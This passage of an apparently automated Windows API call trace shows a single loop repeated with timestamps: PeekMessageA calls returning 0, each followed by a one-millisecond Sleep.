(in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0073.608] Sleep (dwMilliseconds=0x1) [0073.769] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0073.770] Sleep (dwMilliseconds=0x1) [0073.977] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0073.977] Sleep (dwMilliseconds=0x1) [0074.050] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0074.050] Sleep (dwMilliseconds=0x1) [0074.182] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0074.182] Sleep (dwMilliseconds=0x1) [0074.380] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0074.380] Sleep (dwMilliseconds=0x1) [0074.672] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0074.672] Sleep (dwMilliseconds=0x1) [0074.771] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0074.771] Sleep (dwMilliseconds=0x1) [0074.849] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0074.850] Sleep (dwMilliseconds=0x1) [0074.907] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0074.907] Sleep (dwMilliseconds=0x1) [0074.998] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0074.998] Sleep (dwMilliseconds=0x1) [0075.062] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0075.062] Sleep (dwMilliseconds=0x1) [0075.104] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0075.104] Sleep (dwMilliseconds=0x1) [0075.159] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0075.159] Sleep (dwMilliseconds=0x1) [0075.220] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0075.220] Sleep (dwMilliseconds=0x1) [0075.260] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0075.260] Sleep (dwMilliseconds=0x1) [0075.308] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0075.308] Sleep (dwMilliseconds=0x1) [0075.358] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0075.358] Sleep (dwMilliseconds=0x1) [0075.425] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0075.425] Sleep (dwMilliseconds=0x1) [0075.515] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0075.515] Sleep (dwMilliseconds=0x1) [0075.565] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0075.565] Sleep (dwMilliseconds=0x1) [0075.614] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0075.614] Sleep (dwMilliseconds=0x1) [0075.696] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0075.696] Sleep (dwMilliseconds=0x1) [0075.746] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0075.746] Sleep (dwMilliseconds=0x1) [0075.791] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0075.791] Sleep (dwMilliseconds=0x1) [0075.832] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0075.832] Sleep (dwMilliseconds=0x1) [0076.047] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0076.047] Sleep (dwMilliseconds=0x1) [0076.060] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0076.060] Sleep (dwMilliseconds=0x1) [0076.086] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0076.086] Sleep (dwMilliseconds=0x1) [0076.104] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0076.104] Sleep (dwMilliseconds=0x1) [0076.189] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0076.189] Sleep (dwMilliseconds=0x1) [0076.388] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0076.388] Sleep (dwMilliseconds=0x1) [0076.533] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0076.533] Sleep (dwMilliseconds=0x1) [0076.669] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0076.669] Sleep (dwMilliseconds=0x1) [0076.773] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0076.773] Sleep (dwMilliseconds=0x1) [0076.806] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0076.807] Sleep (dwMilliseconds=0x1) [0076.845] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0076.845] Sleep (dwMilliseconds=0x1) [0076.869] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0076.869] Sleep (dwMilliseconds=0x1) [0076.923] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0076.923] Sleep (dwMilliseconds=0x1) [0076.983] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0076.983] Sleep (dwMilliseconds=0x1) [0077.070] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.071] Sleep (dwMilliseconds=0x1) [0077.153] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.153] Sleep (dwMilliseconds=0x1) [0077.224] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.224] Sleep (dwMilliseconds=0x1) [0077.286] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.286] Sleep (dwMilliseconds=0x1) [0077.362] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.362] Sleep (dwMilliseconds=0x1) [0077.410] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.410] Sleep (dwMilliseconds=0x1) [0077.523] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.523] Sleep (dwMilliseconds=0x1) [0077.595] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.595] Sleep (dwMilliseconds=0x1) [0077.651] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.651] Sleep (dwMilliseconds=0x1) [0077.686] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.686] Sleep (dwMilliseconds=0x1) [0077.740] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.740] Sleep (dwMilliseconds=0x1) [0077.780] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.780] Sleep (dwMilliseconds=0x1) [0077.835] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.835] Sleep (dwMilliseconds=0x1) [0077.854] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.854] Sleep (dwMilliseconds=0x1) [0077.908] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.908] Sleep (dwMilliseconds=0x1) [0077.963] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.963] Sleep (dwMilliseconds=0x1) [0077.978] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0077.978] Sleep (dwMilliseconds=0x1) [0078.000] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.000] Sleep (dwMilliseconds=0x1) [0078.087] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.087] Sleep (dwMilliseconds=0x1) [0078.116] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.116] Sleep (dwMilliseconds=0x1) [0078.135] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.135] Sleep (dwMilliseconds=0x1) [0078.192] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.192] Sleep (dwMilliseconds=0x1) [0078.225] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.225] Sleep (dwMilliseconds=0x1) [0078.237] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.237] Sleep (dwMilliseconds=0x1) [0078.254] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.254] Sleep (dwMilliseconds=0x1) [0078.270] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.270] Sleep (dwMilliseconds=0x1) [0078.287] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.287] Sleep (dwMilliseconds=0x1) [0078.312] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.312] Sleep (dwMilliseconds=0x1) [0078.361] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.361] Sleep (dwMilliseconds=0x1) [0078.378] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.378] Sleep (dwMilliseconds=0x1) [0078.514] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.514] Sleep (dwMilliseconds=0x1) [0078.535] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.535] Sleep (dwMilliseconds=0x1) [0078.558] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.558] Sleep (dwMilliseconds=0x1) [0078.571] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.571] Sleep (dwMilliseconds=0x1) [0078.608] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.608] Sleep (dwMilliseconds=0x1) [0078.628] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.629] Sleep (dwMilliseconds=0x1) [0078.643] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.643] Sleep (dwMilliseconds=0x1) [0078.661] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.661] Sleep (dwMilliseconds=0x1) [0078.674] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.674] Sleep (dwMilliseconds=0x1) [0078.706] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.706] Sleep (dwMilliseconds=0x1) [0078.722] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.722] Sleep (dwMilliseconds=0x1) [0078.737] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.737] Sleep (dwMilliseconds=0x1) [0078.755] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.755] Sleep (dwMilliseconds=0x1) [0078.768] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.768] Sleep (dwMilliseconds=0x1) [0078.787] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.787] Sleep (dwMilliseconds=0x1) [0078.836] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.836] Sleep (dwMilliseconds=0x1) [0078.887] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.887] Sleep (dwMilliseconds=0x1) [0078.931] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.931] Sleep (dwMilliseconds=0x1) [0078.942] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.942] Sleep (dwMilliseconds=0x1) [0078.963] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.963] Sleep (dwMilliseconds=0x1) [0078.975] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0078.975] Sleep (dwMilliseconds=0x1) [0079.006] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.006] Sleep (dwMilliseconds=0x1) [0079.027] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.027] Sleep (dwMilliseconds=0x1) [0079.035] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.035] Sleep (dwMilliseconds=0x1) [0079.047] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.047] Sleep (dwMilliseconds=0x1) [0079.084] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.084] Sleep (dwMilliseconds=0x1) [0079.096] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.096] Sleep (dwMilliseconds=0x1) [0079.118] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.118] Sleep (dwMilliseconds=0x1) [0079.127] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.127] Sleep (dwMilliseconds=0x1) [0079.161] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.161] Sleep (dwMilliseconds=0x1) [0079.222] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.222] Sleep (dwMilliseconds=0x1) [0079.252] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.252] Sleep (dwMilliseconds=0x1) [0079.267] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.267] Sleep (dwMilliseconds=0x1) [0079.289] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.289] Sleep (dwMilliseconds=0x1) [0079.298] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.298] Sleep (dwMilliseconds=0x1) [0079.317] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.317] Sleep (dwMilliseconds=0x1) [0079.328] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.328] Sleep (dwMilliseconds=0x1) [0079.350] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.350] Sleep (dwMilliseconds=0x1) [0079.359] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.359] Sleep (dwMilliseconds=0x1) [0079.390] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.390] Sleep (dwMilliseconds=0x1) [0079.416] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.416] Sleep (dwMilliseconds=0x1) [0079.423] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.423] Sleep (dwMilliseconds=0x1) [0079.447] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.447] Sleep (dwMilliseconds=0x1) [0079.515] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.515] Sleep (dwMilliseconds=0x1) [0079.543] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.543] Sleep (dwMilliseconds=0x1) [0079.546] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.546] Sleep (dwMilliseconds=0x1) [0079.601] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.601] Sleep (dwMilliseconds=0x1) [0079.611] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.611] Sleep (dwMilliseconds=0x1) [0079.629] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.629] Sleep (dwMilliseconds=0x1) [0079.642] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.642] Sleep (dwMilliseconds=0x1) [0079.660] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.660] Sleep (dwMilliseconds=0x1) [0079.676] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.676] Sleep (dwMilliseconds=0x1) [0079.695] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.695] Sleep (dwMilliseconds=0x1) [0079.729] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.729] Sleep (dwMilliseconds=0x1) [0079.745] PeekMessageA (in: lpMsg=0x415560, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x415560) returned 0 [0079.745] Sleep (dwMilliseconds=0x1) [0079.799] 